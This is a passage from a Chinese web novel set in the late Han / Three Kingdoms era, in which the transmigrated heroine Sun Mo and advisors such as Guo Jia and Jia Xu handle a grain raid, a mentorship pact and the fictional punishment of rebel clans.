至此,汲县战场大获全胜,袁绍军死的死、逃的逃,但是大部分见主帅和将领们都逃得机器丝滑,顿时也没了战斗意志,直接干脆利落地扔掉兵器,高举双手投降了。 徐晃一清点,竟然有接近一万五千名降卒。他登时一个头有两个大。 如何处理降卒,一向是个并不简单的问题;几乎快到自身军队数量一半的降卒,更是棘手。要保证降卒的生存,但又不能让他们过得太好而生事;编制也要打乱,防止他们暗自结哗变;最重要的是,必须派重兵严加看管,绝对不能让他们找到机会反水,否则就是引狼入室。 为此,作为汲县战场的最高统帅,徐晃不得不和荀攸停驻在汲县,收拾这大摊子。 至于张辽和刘备三兄弟,也没闲着。张飞被派去夺回朝歌县,和张辽、刘备、关羽三人,则奉命去……收拾诸县造反的世家们。 怀县蔺治平直接屠了一众世家的事,在贾诩的建议下,孙墨并没有直接告诉徐晃等人,而是暗自写了封信,直接交给了荀攸。 信上写了郭嘉那颠倒黑白的计策,并且末尾,特别加了一句:“文和(贾诩)已经出发回怀县了,难得他主动请缨,这事后面就由他全权接手了。” 荀攸看着信上的最后一行字:…… 一滴斗大的冷汗,不受控制的从额角滑落。 “主动请缨”? 别人主动请缨,那可能是为了立功,但是贾文和……依他的性子,只要不是没其他办法、必须一定要他出手的情况,他绝对不会动弹一下。 怀县现在大局已定,还有什么事必须得他亲自过去? 答案呼之欲出。 那必须是文若(荀彧)和士纪(袁基)这两位的道德素养太高,干些阴暗角落里的事情时,会不由自主地手下留情啊! 贾诩这一去,荀攸几乎可以闭着眼睛料想到,怀、温两县的世家,不仅死了白死,还极有可能被反过来倒打一耙,彻底坐实了造反的罪名。 蔺治平,是镇压叛乱,而不是先下手为强。 “军师?”徐晃敏锐地发现了荀攸脸上的一闪而过的异样,“可是有什么不妥?” 不妥,这可真是太不妥的。 “……无事,”荀攸深吸了一口气,压下自己有些冒头的高尚情操,眼神变得冷酷。 他对张辽等人沉声吩咐:“张将军,刘将军,此次是平乱,不必对‘反贼’手下留情。胆敢反抗,就地处决。” 荀攸顿了顿,语气中透出一股不容置疑的肃杀:“记住,无论老少青壮,凡是参与,皆不可放过。” 张辽闻言不觉有异,抱拳领命:“诺。” 刘备却是有些犹豫。他一向仁义,虽然痛恨世家作乱,但牵连老弱,终究有违他的本心。 他斟酌了一下措辞,试探性地询问:“军师,首恶必办,但老弱妇孺,也要一并处置吗?” 荀攸点点头,声音不大,却异常坚决:“对。” 刘备望望荀攸,半响,才答应下来:“……诺。” 几人各自领兵而去。 ----------------- 野王。 贾诩不在,中军大帐,孙墨和郭嘉正在下棋。 郭嘉苍白的脸上,被贴满了长长短短的纸条。 然而他并不觉得丢脸,反而特别开心快乐。他乐呵呵端起酒葫芦,说话时吐出的气吹的纸条一跳一跳的:“想不到怀侯不仅武艺超群,智谋同样过人,我甘拜下风。” 有效马屁,照单全收。 孙墨得意洋洋地落下黑子,一子定乾坤,完成了一三一四:“那必须的!” “想必张杨那边也得到了袁绍军大败的消息。若我所料不错,就在这几天,他要撤军了。”郭嘉自觉让孙墨再贴上一张纸条,“怀侯不打算乘机攻打一番吗?” 谈到正事,孙墨立刻收起了嬉皮笑脸,摸摸下巴,做思考状。 表面上在思考,实际在开挂。 【鹰眼】 视角瞬间拔高,俯瞰方圆百里。 她先是习惯性地扫了一眼己方大营。 然后,又双叒叕看到赵六带着一圈人在唱歌,还是围着赤兔唱。 被围在中间的赤兔,一边悠哉悠哉吃草,一边甩尾巴,甚至还极其通人性地打个响鼻。 似乎,很享受? 孙墨:…… 她一抽嘴角,决定以后一定找个机会,亲自问问他们脑子究竟是怎么想的。 视角转到张杨军。 张杨作为主帅,一般呆在营帐里。鹰眼不具备透视功能,所以孙墨一般见不着他人。 但这并不妨碍孙墨观察敌军的整体动向。 她拉开视角,仔细观察着张扬军中各营的士卒调动、巡逻频率以及粮草辎重的位置。 看着和前几天没啥区别。 看来消息还没传到——唉,等等,那个飞奔过来的是流星马? 孙墨登时就一个激灵,整个人都精神了。 “怀侯?”孙墨的反应太大,郭嘉不解地看过来。 “哎呀呀,这可不是我手痒,只是白捡的机会放在眼前,不打那岂不是太太太可惜了……”孙墨关了鹰眼,笑容异常灿烂,“奉孝,可有计策?” 郭嘉看着孙墨兴奋的眼神,也笑了起来。 他放下手中的棋子,说:“无计。” 孙墨:? 笑容全转换成了大写的不解。 无计?没有计策? 你这个当世鬼才说你没办法?信你无计还是信我是武则天? 面对孙墨完全不信的目光,郭嘉抿了口酒,但笑不语。 孙墨兀自脑瓜一转,突然觉得自己发现了原因,猛地一拍大腿:“我明白了。” 郭嘉眼睛一眨,心说怀侯在不护短的情况下,还是挺有政治头脑的,知道自己为什么不愿意说…… 孙墨叹了一口气,用颇为大度地长辈语气劝道:“奉孝啊,不要闹脾气。” 郭嘉:? 孙墨苦口婆心:“不就输了几盘五子棋吗?不就是脸上贴了几张字条吗?多大点事,大不了我让你赢回来呗?想当年,我和公达(荀攸)下棋,输了那么多把都没生气……” 郭嘉:…… 他着实是高估怀侯了。就凭这政治素 养,是怎么在洛阳城内搅动风云的? 他无奈道:“我本是袁渤海派来协助张杨的。现在虽然被怀侯俘获,但是,至少此战结束之前,我不会为对付张杨和袁渤海,而向怀侯出哪怕一计。” “各为其主时,我必殚精竭虑;但若要我转头便反噬旧主,我做不到。”郭嘉严肃道。 “哦,原来如此,”孙墨一拍脑门,恍然大悟地点了点头,“明白了。” 郭嘉本来已经做好了怀侯听到这话后,可能会皱眉、可能会暴怒、甚至可能对自己心生芥蒂的准备。但他万万没料到,怀侯就是单纯的“如来如此”的表情。 他反而疑惑道:“……您不生气?” 孙墨一脸莫名其妙:“生什么气?” 郭嘉:“……” 郭嘉默然了片刻,然后,他发自内心地、极其真诚地笑了起来。那笑容洗去了所有玩世不恭,如同雨后初晴。 “怀侯果然异于常人。”郭嘉突然身子前倾,目光灼灼地盯着孙墨,抛出了一个致命的诱惑,“但这可是一个能一举全歼张杨的绝佳机会。我太熟悉张杨军中的布置和粮草存放了,甚至知道他退军时会走哪条道。只要让我开口,我保证,张杨那大军在主公面前,就有如土鸡瓦狗,不堪一击。” “怀侯,您真的不问?” 面对郭嘉如此直白的试探,孙墨翻了个白眼,有些无语:“行了,不想说就不说。就算你不说,我也——” 孙墨话说到一半,突然愣住了。 她脑海中猛然闪过一个念头。 自己有【鹰眼】这个外挂开全图,但是旁人不知道她有挂。如果自己这时去攻打张杨,精准无比的攻打他薄弱点,无论是不是郭嘉说的,天下人都会认为是郭嘉说的,认为是他出卖的旧主。 那郭嘉的名声估计也被毁了。 至于不用【鹰眼】挂,那不行,士卒的命也是命。 郭嘉:“‘也’?” “呃,”孙墨生硬地转折,“不打。我的意思是,算了,不打他了。” 孙墨绞尽脑汁增加说服力:“他是上党太守,上党还有黄巾军活动,也不太平;我们要是真把他全歼了,占据了上党,就要直面这些黄巾军了,还不如让张扬回去,替我们守门。” 孙墨越说越顺溜:“再说,占个小小的上党郡有什么意思,袁绍心心念念要夺的冀州,那才是天下粮仓,那才是我们的目标。” “对,就这样,穷寇莫追。”孙墨总结陈词。表面上有理有据,实际内心里充满忐忑。 挂开得太大,不得不藏。 哪知郭嘉听了这番“强词夺理”的战略分析后,非但没有反驳,还收起了所有轻佻,面露惊异:“怀侯当真如此之想?” 他本以为还要废一般口舌,劝怀侯放弃这个机会,没想到,怀侯自己就意识到了?难道怀侯她不是相关素养低,而是大智若愚? 孙墨不知道郭嘉的想法,她硬着头皮强行撑住:“对。” 郭嘉定定地望着孙墨,几息之后,发出了和荀攸一样的同款评价:“怀侯之才,殆天授也。” 为了掩饰开挂而强行逞强的孙墨:? 17. 第 17 章 郭嘉语气透着认真,他道:“怀侯所言极是。我说无计,一方面固然是为了自己着想;而另一方面,也是为了怀侯的霸业谋划。” “上党民风彪悍,贼寇作乱,得之无益,还要分兵驻守。而若放张杨回去,他是上党太守,自然会死守上党,这就等于一道白得的屏障。我们只需要以少许的兵力驻扎野王,阻断张杨南下之路,则河内郡北面无忧矣。” 郭嘉的眼中闪烁着运筹帷幄的光芒:“至于冀州……我非袁渤海的核心谋臣,未参与其机密谋划。但也可以推断出他的计策,他必会对冀州牧韩馥施加压力。我们不如将计就计,屯兵两地交界朝歌,对冀州作虎视状。如此,如果分散兵力防守上党,反而不美……” 郭嘉说得头头是道,逻辑严密,丝丝入扣。 孙墨听得一愣一愣的。 她不禁深深的陷入了自我怀疑:我有这么牛逼,在不知不觉间,竟想了如此深远、如此宏大的战略布局吗? 我自己怎么不知道? 郭嘉越说越兴奋,越说越觉得孙墨她是大智若愚、胸有沟壑,看向孙墨的眼神,原本的轻佻与试探已经褪去大半,取而代之的是越来越浓的敬佩。 要不,就这么认主了吧。这乱世之中,能遇到一个不拿下属挡刀、还有如此智谋的主公,不容易。他不禁寻思起来。 然而不到一秒,他就猛地心里一惊,为自己这个念头后怕不已。 要知道,对于臣子来说,认主那几乎是一辈子的事情,是把身家性命和一身才学全都押上的豪赌。而他来到孙墨帐下不过十几天,除了下了几盘五子棋,都还没相处多久、还没能看透这主公究竟如何呢,怎么就能这么快认主? 那必不可能! 就算是成名已久的袁绍,接触的时日一长,也才知道他的礼贤下士不过是做做样子,实际上是外宽内忌、刚愎自用的性子。他把世家大族平衡势力的权术学了个十成十,用人的度量确是一点没学会,根本不足以成大事。 眼前这位怀侯,看着随性护短,但谁知道处久了怎么样? 郭嘉急促地吸了两口气,强行压下心中的悸动,用眼角偷偷瞄了一眼一副深沉表情的孙墨。 再观察观察,必须再观察观察。郭嘉在心里默默地警告自己。 ----------------- 袁绍对河内郡的进攻,以三线作战全面失败而告终。而张杨在得知袁绍大军溃败的第一时间,没有任何犹豫,立即整顿兵马准备撤回上党。 众所周知,撤退,往往比进攻更考验一个统帅的指挥能力。如何将军队全须全尾地带回去,不触发敌军的追击,不演变成大溃败,是一件非常困难、必须要小心翼翼对待的事情。 为此,张杨可以说是做足了充足的准备。 他先是派了众多的斥候小分队,牢牢盯着孙墨的动向;然后又大造声势,擂鼓叫阵,一副我不撤我要拼命的态势;最后,又暗自偷偷摸摸组织军队,先把粮草辎重运,走小路运回上党。 总之,为了安全跑路,他是装腔作势,绞尽脑汁。用孙墨的话来说,就差跳大神了。 而此时,开着【鹰眼】的孙墨:…… 我就静静着看着你表演。 看着看着,她认为,让人家一个人唱独角戏是一件不礼貌的行为。作为一个有礼貌的现代人,她决定,在她临走之前,送给张杨一份大礼。 于是,就当张杨以为自己瞒天过海、粮草辎重顺利运出了战场、正在沾沾自喜的时候,一个浑身是血的士卒冲了进来,无比惊恐地喊道:“将军!粮食、粮食被抢了!他们有埋伏!他们知道我们的路线!” 张杨的第一反应竟是难以置信:“怎么可能?我走的事小路,而且不过安排了数百人押送,动静做到了最小。更何况,斥候来报,孙墨的军队根本连军营的大门都没出!” 士卒颤抖着,被吓得说话都不利索了:“不是怀侯领的兵,是吕玲绮!是那个用天罚的吕将军!她带着五百残兵,像是突然变出来似的,一下子就冲过来了!” 张杨脑子嗡的一声:“她疯了吗?就那点兵马,她不守城,带兵来劫营?” 士卒想起不久前的画面,竟然大哭起来:“她不是人,不是人!她的军队都不是人!他们都还缠着绑带,眼神却像狼一样,一下子,一下子就过来了。同伴,同伴都死了!” “她还说,还说……” “说什么?!”张杨咬牙,无比暴躁。 “她说,‘怀侯让你们走,你们才能走。这份辎重粮草,就当利息了。’” “贱妇!” 张杨登时双目通红,怒而拔剑:“贱妇!我必杀你!” 他一脚踹翻帅案,气急败坏地冲出营帐,就要去点兵台整顿兵马,跟孙墨拼个鱼死网破,报这一箭之仇! 暗中窥视的孙墨心头一紧。 这是装过头,触发愤怒二阶段了? 赶紧整兵……唉? 然后她就看到了一个滑稽的场面。 气势汹汹的张杨走到一半,硬生生地停住了脚步。他站在原地呼哧呼哧喘着粗气,硬生生踹了半响。 他的胸膛剧烈起伏,竟是硬生生喘平了怒气,掉头回去了! 孙墨:? 等等,你这是一怒之下怒了一下,这就没后续了? 孙墨简直不敢相信自己的眼睛。为了以防万一,她强撑着一夜没睡,时不时就开启【鹰眼】观摩一下张杨军的动静。 张杨军安静如斯,不仅没有报复的打算,还加紧“密谋”撤退。 直到第二天晚上,快24小时没睡的孙墨实在熬不住了。她凭借着最后的毅力,头昏脑胀地询问郭嘉:“奉孝,这张杨被抢了粮食辎重,也不报复一下?” “若是袁本初在此,恐怕免不了一场恶战。但是张杨不是袁绍,他足够‘谨慎’,不然也不会在大好局势的时候,放弃强攻野王城了。”郭嘉悠悠道,语气中带着一丝丝不易察觉的微妙情绪,“文和的那封信,不早不晚,来得太是时候了。若是稍微晚一点……” 孙墨实在是支持不住了,她听到郭嘉说张杨不会打过来,心里石头落地,就迷迷糊糊歪在榻上闭上了 眼睛:“我先眯一会儿,有事喊我。” 郭嘉:…… 您是真不拿我当外人啊。我到底还是个男子,你这样在我面前倒头就睡,真的合适吗? 吐槽归吐槽,郭嘉还是认命地给孙墨盖上了个单被。 他自然是算准了张扬的反应。可能是报复,但是几率不大;就算遭到报复,对方无粮,风险也在可控范围之内。 只是,他算准了张扬,但因为名誉问题,没告诉怀侯。怀侯敢劫粮自然最好,不劫也没啥损失。一切全凭怀侯的胆量。 他却算不出,怀侯究竟是如何得知辎重运输队的行军路线的?还笃定了张扬不会攻打野王城?要知道,吕玲绮军队尽出,只要是张扬派兵攻打,野王城必破。 怀侯到底哪来的消息?哪来的这种近乎未卜先知的底气? 郭嘉百思不得其解,满是迷茫。 就和那拖延了时间的哨子与震天雷一样,孙墨完全超越了他的认知。 ----------------- 怀县,蔺治平书房。 蔺治平呆坐在自己的书房里,有些愣神。他还没从刚才贾诩的那番话中反应过来。 贾诩快马赶回太守府,但第一件事不是去传达怀侯的态度,也不是召集众人商议善后办法,而是干脆利落地来到蔺治平的书房,屏退左右,开始谈心。 他开门见山:“你对主公很重要。” 蔺治平:? 他不解其意:“我知道,太守府的人,对主公来说都很重要。” 贾诩:“内阁当中,你才是最重要的那个。” 蔺治平:?? 他怔住,下意识就要反驳。自己一介书生,怎么可能比得上四世三公的嫡长子袁基,怎么可能比得上王佐之才的荀彧? 然而反驳的话还没出口,贾诩又继续说道:“不必总想当薪柴,只为增添火焰一瞬间的燃烧。你的价值,在于你活着,在于你本身。” 蔺治平:“……” 他震惊而又带着些许难堪地看着贾诩。 贾诩一派平和,很少展示出自己的锐利。现在也是如此,他只是静静地站在那,静水流深。 然而他说出的话,却毫不留情地切开了蔺治平内心深处最隐秘、最不为人知的自卑与骄傲。 蔺治平是孙墨第一个谋士,他本以为自己也算才智过人,但是,随着谋士队伍的不断扩大,当荀彧、荀攸、袁基,甚至贾诩这些在历史上都赫赫有名的顶尖智囊一个个加入后,他越来越感到力不从心。他深切地体会到了,自己那些算计,和世族出身的荀氏叔侄、贾诩等人,宛如云泥,根本没法比。 但是怀侯还是重用自己。但是在自己能力越发捉襟见肘的时候,这份重用能保持多久?难道就要看着自己,慢慢地边缘化吗? 他甘心默默无闻地变成边缘人吗? 当然不甘心。 与其这样被慢慢遗忘,不如轰轰烈烈地燃烧自己。至少,这样,在怀侯的心里,他蔺治平,能留下浓墨重彩一笔。 蔺治平如是想到。 18. 第 18 章 蔺治平呆呆愣愣,脑海中不断回放着贾诩所说的话。 贾诩说天下资源尽在世家大族手中,这是此番乱世的根本缘由。主公有志于解决此顽疾,所以她就必须去提拔一个新的阶层力量去对抗世族。而这股新的力量,主公选择了万千的平民; 贾诩说,主公设学堂、传民谣,甚至去简化汉字、推行数字、推行从未有过的内阁制,绝不是一时兴起,而是要将人才选拔之权,一步一步从世家手中收回。这谋的不是一时半刻的得失,而是长达数年甚至数十年、数百年的千秋基业。 他还说,现在的内阁中,除了你蔺治平,其他的全都是世族出身。世族出身的他们,天然不可能成为天下平民的表率,也永远无法代表平民的利益。唯一适合举起这面新旗帜的人,只有你。 贾诩最后总结道:“你远比自己想象的要重要得多。才华可以学习,能力可以培养,但是出身,却无法改变。你出身寒微,一介书生,在这太守府中,却是合适的人选。” 从来都因为出身有种隐秘自卑、担心自己随时被边缘化的蔺治平:“……” 他从未想象过,自己做梦都想摆脱的标签,能有一天,竟然成了最大的资本和优势。 他仿佛在无边黑暗中、背着重担一步步艰难摩挲的旅者,在不知行走了多久、几乎都要放弃之时,突然被人一把扯过去,走上了旁边那条直通云霄的金光大道。 “内阁之中,士纪(袁基)乃袁氏嫡长子,又曾贵为九卿,主公用他安抚世族,这内阁魁首之位,非他莫属。而次之者,对于主公来讲最好的选择,非公达非文若,亦非我,而是你。” 蔺治平听了这番话,一时竟然失语。 他知道,贾诩不是在安慰自己。贾诩从来不屑于说废话,他只是单纯的基于现实,极其精准地给自己讲明了现状而已。主公要干什么,能怎么干,需要什么条件,贾诩抽丝剥茧般的告诉了自己。 这不是安慰,但对于蔺治平来说,却远远比安慰有效百倍。 那种求流星般绚烂的孤注一掷,实现不了主公的大业,反而会打乱主公的布局。 自己若是死了,主动会痛心,但也会提拔另一个平民上来代替自己的位置。 想到这,蔺治平心头猛地一震。 凭什么? 既然主公的大业必须有这样的人,那为什么这个人不能是自己? 想通了这一层,蔺治平那种飞蛾扑火之心彻底消散。他的眼中燃起火焰,整理了一下衣冠,一时无比坚毅地向贾诩深深作了一揖:“多谢文和拨云见日之恩。治平必不负主公重托。” 贾诩微微颔首,理所当然并且平淡无比地接受了这一拜。 然后,他什么也没说,只是站在那里。 蔺治平:…… 蔺治平:? 面对贾诩这种近乎傲慢的反应,他一时有些不解。 一般来说,面对同僚,哪怕是下属,贾诩从来都是客客气气、滴水不漏的,从不会有这种自居高位的做派。通常来讲,自己拜谢之后,客气几句“同为主公效力,理当如此”才是寻常。 难道,他还想说什么? 蔺治平试探性的询问道:“文和可是还有什么教诲?” 贾诩:“……” 贾诩依然不答,他只是默默看着蔺治平。 蔺治平:? 他不由自主开始回忆贾诩刚才说的话,试图寻找线索。 未果。 于是两人大眼瞪小眼僵持了半天。 最终,还是贾诩败下阵来。他有点无奈地叹了口气,幽幽提醒道:“我说,‘才华可以学习,能力可以培养’。” “学习”和“培养”两个词,被刻意加重了语气,咬得极重。 蔺治平愣了足足三秒 。 随后,他脑海中仿佛有一道闪电劈过,一下子就反应了过来! 谁来学习、谁来培养? 除了眼前的这位,还有谁? 蔺治平仿佛被天下馅饼砸中了一样,激动得声音都在颤抖,难以置信地道:“文和……文和先生愿收我为徒?” 看到蔺治平终于开窍了,贾诩终于满意地点点头:“然也。” 蔺治平脑子一炸。 在这极讲究师承和门第的汉末,一介平民,能够拜入当世顶尖谋士的门下,这是何等逆天的造化! 没有丝毫犹豫,他当即跪下行了大礼:“治平愿为弟子!” 贾诩平淡地受了这一拜,等到蔺治平起身,他又道:“拜师礼本当隆重,但现在河内局势不稳。待到战事彻底了结,主公归来,你我再择吉日,行束脩之礼。” 蔺治平满是热切地点点头。 贾诩矜持地笑笑。 完美,拿捏。 一切尽在掌控。 作为能不动绝对不动、明哲保身到了极点的老狐狸,贾诩怎么可能大发善心、主动去收徒呢?要知道,师父师父,待师如父,师徒如父子。师父教给徒弟安身立命的本领,徒弟对师长就要如同敬爱父亲一样,生死相随,荣辱与共。 贾诩要的就是这份牢不可破的绑定关系。 虽然说怀侯极其护短,似乎不用担心自己被拿去挡刀。但是,天下已乱,谁会嫌保险多呢? 蔺治平在怀侯心中的分量不必多说,人也是重情重义之辈,一旦认了,便绝不会背叛。成为他的老师,虽然平时累了点要教人吧,但是,有了这层师徒关系,他安全啊。 等主公回来,再办场隆重的束脩礼,让天下人都知道了这层关系,他就更安全了。 此番,不亏。 贾诩微微一笑,看着窗外耀眼的阳光,深藏功与名。 19.第 19 章 “这件事情的处理,比我原本预估的,要简单许多。文若抓住了司马家的细作,你也撞破了许攸和蔡氏等的密谋。” 太守府偏厅中,只有贾诩和蔺治平两人。这种事,不适合在内阁中光明正大的讨论。 贾诩跪坐在案几前,语气中透着一丝罕见的赞赏。 “不愧是荀文若。在那种情况下,依然布置了后手,”贾诩赞叹一声,对身旁的蔺治平说道,“在你出兵查抄之时,他下令立刻封锁太守府,并派人留意是否有细作通风报信。” “只是本来只是步闲棋,很有可能是无用功,但是一旦真抓住了什么人,便是个大收获。这就叫做以小博大。” 蔺治平恭敬的点了点头,把贾诩的话记在心里:“谢老师指点。文若确实截住了司马家的细作。不过可惜的是,当杨二去温县的时候,司马家,已经只剩下一座空宅了。司马氏兄弟,还有族中的子弟,早就跑的干干净净。” 贾诩听到这句“可惜”,忍不住眉头一跳。 自己的这个弟子,杀心还真是重。 贾诩的语气有些严肃:“治平,司马家和蔡氏可不一样。蔡氏、薛氏,充其量只能算河内郡的豪强,翻不起太大浪花。而司马家,那可是名满天下的名门望族。” 蔺治平不理解,甚至带着几分初生牛犊不怕虎的锐气:“既然司马家暗中给许攸递送了布防图,那他们就是叛逆。难道不正好借此机会,为主公除去未来的一大祸患吗?” 贾诩点出蔺治平忽略的点:“可司马氏当今的家主司马建公(司马防),此时正在洛阳,任治书侍御史。” 治书侍御史,为司法监察,负责审理天下谳疑事。 蔺治平一愣。 “若司马建公得知自己满门被屠,你猜他会怎么做?”贾诩的声音沉稳而严肃,“即使我们有铁证,他也必会当作疑案去彻查。到时候,这天下的悠悠之口,就很难堵上了。” “有些事情,不怕查清,就怕有了‘疑点’。一旦开了一个‘可能是太守府栽赃陷害’的口子,那么即使最后我们把证据摆在全天下面前,那些同为世家大族的士林清流,也绝不会相信。只要有了这疑虑的过程,后续就会有人源源不断地以此为借口,在朝堂上、在民间痛骂主公。” 到时候,说的清也是说不清了。 而且,最重要的是…… 贾诩叹了口气,悠悠道:“不是你有了证据,屠戮世家就是‘有理’的。司马家这样的庞然大物,现在,还动不了。” 这就好比原著线上曹操在“衣带诏”事件中的遭遇,董国舅密谋诛曹事情败露。曹操明明掌握了董国杰密谋杀害自己的铁证,屠了董国舅等人的三族。这本就是你死我活的权力斗争,以现代的眼光看虽然狠辣,但也无可厚非。但结果能?曹操硬被士林痛骂,甚至骂了几千年。 从那以后,曹操在骂战中就没赢过。 具体来说, 曹操:“我奉诏讨贼。” 敌人:“我奉诏讨贼。” 曹操:“我奉天子诏,你奉何诏?” 敌人:“衣带诏!” 曹操:“……”他哑口无言。 蔺治平一点就透,他顿时有些后怕不已:“……那我们该怎么办?难道面对这些大族,只能束手束脚了?” 贾诩喝了口蜜水润喉:“士纪(袁基)出自四世三公的汝南袁氏,公达、文若来自名满天下的颍川荀氏。难道主公连自己麾下臣子的家族,都要一一剿灭?” 说到半截,贾诩停了下来,看向蔺治平。那眼神分明在说:你再好好想想。 蔺治平皱起了眉头,认真思考起来。 主公肯定不会去动荀氏、袁氏的,因为士纪、公达是臣子,更是功臣…… 等等,功臣? 蔺治平眼睛一亮,突然反应了过来,他急急开口道:“老师是说,分而化之?对愿意效忠、立下功劳的世家子弟,要奖赏、要重用;而对于那些有异心的,则要毫不留情的铲除?” 贾诩赞许的点点头:“不错。正是主公所言,‘顺吾意则生,逆吾心则死’。” 蔺治平顿时心潮澎湃,他真心实意的称赞道:“主公真乃天人也!” 贾诩:…… 在某种程度上,他很赞同;但在另外的某种程度上,他对此持保留意见。 特别是,主公真的能如她自己说的,“逆吾心则死”吗?主公,当真不会手软吗? ----------------- 秋末,落叶纷飞。怀县迎来了一次真正的人头滚滚。 随着河北战事的结束,新来的张辽和刘备三兄弟,都来到了怀县。与他们一同进城的,还有被押解的诸县叛乱的世族人员,以及他们的家小。 自由熟读兵法的徐晃,为了避免重蹈韩信、白起、周亚夫,拥兵自重引起主公忌惮的覆辙,非常谨慎地先让荀攸先领了两万兵马回怀县复命,自己则留在汲县驻守,继续收拢降卒,等待孙墨的下一步安排。 而野王城下经历了血战的吕玲绮,则让蒋胜威暂守城池,自己策马赶回怀县,向孙墨……请罪。 太守府,大堂。 孙墨看着堂下跪着、伤势未愈的吕玲绮,抿抿嘴,思量着如何处罚才合适。 本来按照孙墨的想法,这场仗败了并不怪她,完全是因为对面有郭嘉这个鬼才在出主意。再说,损兵折将是真,但绝境中死战不退、率军突围也是真。更而况,最终野王城也没有丢,事情还没到不可挽回的程度。 所以在孙墨看来,批评两句也就行了。 但是,跪在下方的吕玲绮一脸倔强。 她紧紧地咬着嘴唇,死死地低着头,一副“主公若是不重罚我,我绝不起来”的决绝姿态。 孙墨有些头疼,真倔。这时候不该学学你老爹吗? 孙墨只好斟酌起语言:“吕玲绮身为主将,守野王不利,轻敌冒进,损兵折将,但念其死战不退,又有劫粮之功,两者相权,贬官一级,降为军侯,罚俸半年。” 吕玲绮红着眼圈,没有应声,也没有起身。< /p>明显是嫌罚轻了。 孙墨:“……” 她抽了抽嘴角,看着吕玲绮这副倔脾气,刚准备开口再安慰几句,却听得一旁的郭嘉慵懒地开口了:“军令如山,吕将军是觉得怀侯赏罚不公吗?” 和孙墨略带安慰的语气不同,郭嘉说的话理性而又冰冷,带着一种独特的压迫感。 吕玲绮一怔,不情不愿地应诺起身:“诺。” 孙墨眨眨眼,突然发觉了另一种解决问题的方式。 吕玲绮站到一旁,目光有些不善地盯着刚才那个开口的青年。 吕玲绮:“主公,不知这位是?” 孙墨一点委婉没给郭嘉留,她大肆赞扬郭嘉的才华:“就是引你中伏的那个。怎么样,厉害吧?” 吕玲绮:……? 新仇旧恨瞬间涌上心头,吕玲绮当场龇了牙,恨不得咬死这个文弱青年。 面对吕玲绮要吃人目光的郭嘉:…… 突然不是很想要这份夸赞,根本是在拉仇恨。 其余人等各自封赏,不在话下。而封赏之后,就轮到了这次最棘手的议题了。 如何处理这些反叛世家。 通常情况下,这也没啥好说的,轻则满门抄斩,狠点的直接夷三族。 而孙墨,有点犹豫。 想到之前看到的被吓得瑟瑟发抖的老弱妇孺,她……心软了。造反的主谋们自然要杀,但似乎老幼妇孺,甚至有些都毫不知情,他们似乎没啥必要去陪葬。 她犹犹豫豫看向众人。 贾诩自不必多说,荀攸也是眼观鼻、鼻观心,一声不吭。他都让人把老弱都给抓来了,态度可见一般。 荀彧也不说话。看着那些相识的故交家眷,面露不忍。他犹豫再三,想说什么,却又硬生生咽了回去。 这里面有几个世家,是和袁氏有世交往来的。 自己的身份本就尴尬,如果此时开口求情,会不会引起主公猜忌? 但是若不开口,眼睁睁看着他们被屠戮,袁氏对交好世族的态度,也显得过于冷血无情了。日后,谁还会信任袁氏? 想到这儿,袁基咬了咬牙,顶着巨大的压力,拱手劝道:“主公以仁义著于四海,叛贼虽恶,但古语云‘杀孺不祥’。不如,只诛首恶?” 孙墨一听,就想开口答应。 然而她张了张嘴,但几乎立即,不可遏制地浮现出了另一个人的面孔——蔺治平。 一个为了保全她的基业,为了替她扫清障碍,毫不犹豫地将自己置于千夫所指之地,背负着屠戮世家骂名的人。 一个愿意为她的大业,舍生忘死的人。 他是怎么做的?斩草除根,不留后患。 孙墨不禁看向一旁的蔺治平。蔺治平刚刚经历了生死大考,此时的他长身玉立,站在那里,反而比以前多了份洗尽铅华、胸有成竹的自信。见到孙墨望来,他微微笑了笑,然后,微不可察地摇了摇头。 不要心软。 孙墨长长地叹了一口气。 20.第 20 章 我就多余问。 贾诩收蔺治平为徒的事,孙墨刚回到怀县就知道了。在真心为蔺治平欣喜的同时,她也长吁短叹了好一会儿,又一个热血青年将一去不复往了。 孙墨下了决定,她最后看向了贾诩。 贾诩面无表情,完全不动声色。面对孙墨的目光,他只甩出了一句废话:“一切凭主公做主。” 见贾诩的态度如此,原本紧张的袁基以为事情有了转机。他面上一喜,连忙追问道:“主公意下如何?” 谁人不知主公仁慈?在洛阳为了救百姓,甚至不惜折损寿命。 大堂内,所有的目光再次聚焦在孙墨身上。 孙墨闭上了眼睛。 现代人的道德观在左,乱世的生存法则在右。 足足过了十息。 当她再次睁开眼睛时,眼底的犹豫和挣扎已经荡然无存,剩下的,唯有一抹属于乱世霸主的铁血与冷酷。 “夷族。” 这两字重逾千钧。 比起那些素未谋面的陌生妇孺,她必须为了追随她、为她流血、为她牺牲的人负责。那些在叛乱中被杀的守卫,他们的命也是命! 她得震慑住这些世家,让他们知道背叛的代价,让他们不再敢叛。 袁基哑然:“主公……” 终于下了决定,孙墨呼出一口浊气。她道:“老幼无辜,那么因为叛乱而死的人,就不无辜了吗?” 袁基:“……” 他张了张嘴,却无言以对。 倒是一旁的贾诩,面上老神在在不动声色,心中却忍不住感概,洛阳城里那个稚嫩心软的怀侯,终于迈出了成就霸业的关键一步。 这才是一代雄主该有的样子。 散会后,孙墨去见新人张辽和刘备三兄弟。 几人早已在偏厅等待,见到孙墨前来,纷纷起身拜见。 “我乃汉室宗亲,中山靖王之后……”刘备的开场白依然是耳熟能详、字正腔圆。 趁着刘备念开场白的功夫,孙墨也在饶有兴致地打量着这位未来的昭烈帝。 相貌不算突出,确实双手过膝,最引人注目的,是那一双大耳异常明显。怪不得吕布会骂他大耳贼。 孙墨暗自咂摸起来。这位没有谋士的深沉,也没有武将们自带的金戈之气。若要算起来,孙墨觉得,刘备此时,更像一个,游侠? “将军既帝室之胄,信义著于四海。”——《隆中对》 “朕不为弟报仇,虽有万里江山,何足为贵?”——刘备 脑海里闪过名言,孙墨突然很好奇,如果一向以仁义标榜的刘备,遇上了这些世家反叛,会怎么选择? 于是在刘备自我介绍完后,孙墨便礼貌问道:“世家叛乱,牵连诸多。君以为,那些叛乱世族的家小,该如何处置?” “世家叛乱,死不足惜。但其家小何辜,望怀侯……”刘备几乎同时开口道。 话音未落,他发现孙墨也正开口说话。 两人纷纷愣住,不再说话。 安静了几息。 孙墨打破沉默:“若不重罚,何以威震宵小?” 刘备眉头紧锁,固执地坚持:“杀孺不详,有违天和。” 又是几乎同时开口,双方坦然交换了意见——完全相反。 孙墨:“……”这么巧吗? 刘备:“……”这怎么显得自己在抢话,很没礼节。 